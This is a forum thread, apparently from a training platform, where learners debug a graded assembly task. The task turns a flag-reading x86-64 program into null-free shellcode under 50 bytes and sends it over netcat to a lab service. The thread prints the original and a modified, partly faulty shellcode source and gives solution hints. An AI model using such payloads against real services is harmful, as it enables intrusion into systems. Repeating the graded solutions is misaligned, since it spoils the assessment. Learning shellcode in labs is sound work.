INTRO TO ASSEMBLY LANGUAGE - skill assessment -TASK 2

Hi guys, I am trying to pass the second task in the skill assessment of assembly language. And hit a brick wall.

In the task, I need to take the already working assembly and make a shell code from it(like remove all nuls, vars, and direct address), and make it smaller than 50 bytes, cause attacked server has 50 bytes buffer.

  • I removed all nuls from this shellcode, chose the smallest register size, and fixed one line where was an error, cause it tried to put text longer than the max register size via this register on the stack. I have fixed that and separated the text into two chanks. And made two pushes.

  • Also I deleted the last syscall, as was said in the task hint.( Do we really care about a nice exit?!)

I made a 49 bytes - No NULL bytes hex code. and come to the place where i need to run it on the attacked machine.

I had no clue how to do it, so i opend connection with net cat, and typed it in the termilal
like: nc ip.ip.ip.ip port and just entered it in the opened console.
And here i got a brick wall as a ā€œFailed to run shellcode!ā€. I tried other shellcodes i could find other internet, even 29 byte size, but other and other got this message.
A week of trying passed, and I am on the same place.

So my questions:

  • is it a valid way, to send shell code as a net cat message? i did it cause it was working in one of the previous tasks, but is it not a realistic scenario? I mean shell code is a payload that we put into attacked software, and could not be run by itself. So the case when I was able to execute shellcode remotely via nc console, means there is some service sitting on the target machine and executes all text he got as a shell code. I mean it is quite far away from a real penetration test situation. Or it is not, and net cat can run shellcodes remotely, and it is me, who is far away from the understanding of the real penetration testing :smile:

  • So if I do all of this in a correct way, how can I get more info on why I am getting this ā€œFailed to run shellcode!ā€

  • If I do it wrong, what is the right way to run a shellcode on the attacked machine?

  • I run an NMAP, on this machine and there are many open ports such as ssh, apache, and SMTP, so in theory maybe this machine could be attacked, and I can get a reverse shell. But this means there is no need for the shellcode created by the HTB team and has nothing with the task assignment in how it is stated.

So, I will be super thankful for any hints or advice, cause I already run out of ideas.

Hello auxFix

In this case youre taking advantage of a failure in a program, it is not the netcat who executes the code into the destination machine, is the software running in that machine that has the error so you can send the payload with netcat and the application will crash and execute that payload.

You don’t have to attack or do something else to the machine, simply netcat to the port opened and send the payload, when you have it well crafted it will read the flag…

If you modify the payload correctly you will read the flag without problems, even if you craft another one you will get reverse shell, but is not the point of the exercise…

Hello, Ic32K!

Thank you for the fast response.
But to be honest, I really run out of ideas about what I did wrong.
I deleted all zeroes, there are no addresses or variables in the assembly code. It has a size of 49 kb.

And it works perfectly if I run it via python3 loader.py from the previous course lesson.
How can I debug it?

Also just out of curiosity, so HTB team wrote the script, which puts my payload into some vulnerable applications, which crash and run my payload? I mean will I use this technic, of sending shellcode to the attacked machine via net cat. Or it is just the most convenient way for the HTB team to test my shellcode?

And one more question, since I removed
These lines from the asm code

    ; exit
    mov rax, 60
    mov rdi, 0
    syscall

at least i think this is the reason when shellcode ends execution ends i got some other shell prompt opens(when I test via python3 loader.py locally). Could this be a reason for not running remotely shellcode?

But if this is the reason, why do we have the following hint: Do we really care about a nice exit?!

So yeah, unfortunately, these things are still unclear to me, even after more than a month of digging into assembly and shellcodes. But of course, I returned to it after a huge break after university study.

How do you get rid of the zeroes?

In this case the app running was already debugged thats why they thell you the size of the valid payload, you will understand better in the next module…

They told you about the nice exit to give you a easy way to reduce the payload some bytes (the shellcode I used I forgotted to delete the exit function)

If you want post your code so I can see what have you done, maybe I can see something (I’m not an expert, just finished that module few weeks ago)

Hi @Ic32K first of all, thank u so much for your great help and involvement, I really appreciate it.
No, to the topic.

I reduced size by

  • Using the smallest possible registers,

  • replacing push 0, with xor reg reg; push reg

  • and removing last exit part;

And yeah it could be so nice if you could look at my broken asm code.
Here it is:

global _start

section .text
_start:
    ; push './flg.txt\x00'
    xor sil,sil
    push si
    mov dil, 't'
    push di               ; push NULL string terminator
    mov rdi, '/flag.tx' 
    push rdi

    
    ; open('rsp', 'O_RDONLY')
    mov al, 2          ; open syscall number
    mov rdi, rsp        ; move pointer to filename
    syscall

    ; read file
    lea rsi, [rdi]      ; pointer to opened file
    mov rdi, rax        ; set fd to rax from open syscall
    xor al, al          ; read syscall number
    mov dl, 24         ; size to read
    syscall

    ; write output
    mov al, 1          ; write syscall
    mov dil, 1          ; set fd to stdout
    mov dl, 24         ; size to read
    syscall

and here is the original from the task so u can easily compare:

global _start

section .text
_start:
    ; push './flg.txt\x00'
    push 0              ; push NULL string terminator
    mov rdi, '/flg.txt' ; rest of file name
    push rdi            ; push to stack 
    
    ; open('rsp', 'O_RDONLY')
    mov rax, 2          ; open syscall number
    mov rdi, rsp        ; move pointer to filename
    mov rsi, 0          ; set O_RDONLY flag
    syscall

    ; read file
    lea rsi, [rdi]      ; pointer to opened file
    mov rdi, rax        ; set fd to rax from open syscall
    mov rax, 0          ; read syscall number
    mov rdx, 24         ; size to read
    syscall

    ; write output
    mov rax, 1          ; write syscall
    mov rdi, 1          ; set fd to stdout
    mov rdx, 24         ; size to read
    syscall

    ; exit
    mov rax, 60
    mov rdi, 0
    syscall

And once again, thank u so much for your involvement!!!

@Ic32K please forgive me! I am just stupid. For some reason, I made a mistake in the flag name, in the really beginning of my assignment flag.txt instead flg.txt. Idk how I could come to it=))))
Just a stupid typo)))

But, @Ic32K thank you so much for helping me out!!! I really really appreciate it.

For people who may be stuck with that task, my solution finally was really straightforward.

  • use smaller registers where i could

  • remove exit code

That’s it. I am just stupid=)))

1 Like

You are welcome!

I see some mistakes that make the exercise fail:
You modified the filename and you don’t have to do that, in this case the file in the server is in fact named flg.txt it’s not a typographic mistake ;-D

In the ā€˜open’ function I noticed you deleted the line ’ mov rsi, 0 ’ maybe if you have a 0 stored in another register you simply can use ā€˜mov rsi, register_with_value_0’

1 Like

Great!!!

Let’s see how the shellcode module is going, now i’m starting the windows one so maybe can help us each other if we have some doubts

1 Like

Thank u again!!! :slightly_smiling_face:

Just finished the assignment and saw this post.
I think the comment push './flg.txt\x00' is wrong. It actually reads the /flg.txt in the root folder, not the current one.